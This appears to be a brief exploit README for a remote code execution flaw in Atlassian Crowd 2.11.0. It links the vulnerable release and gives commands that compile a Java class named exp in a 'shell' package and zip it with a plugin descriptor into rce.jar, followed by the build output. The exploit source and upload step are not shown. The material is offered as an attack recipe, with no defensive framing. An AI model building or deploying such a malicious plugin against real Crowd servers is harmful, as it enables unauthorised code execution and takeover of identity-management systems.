Atlassian Crowd and Crowd Data Center RCE
 

Crowd-2.11.0 Vuln_Version Donwload

[url]https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz[/url]


0x01 compile for rce.jar
javac -cp servlet-api.jar com/cdl/shell/exp.java

zip -r rce.jar atlassian-plugin.xml ./com

./compile.sh
updating: atlassian-plugin.xml (deflated 54%)
updating: com/ (stored 0%)
updating: com/cdl/ (stored 0%)
updating: com/cdl/shell/ (stored 0%)
updating: com/cdl/shell/exp.java (deflated 59%)
updating: com/cdl/shell/exp.class (deflated 45%)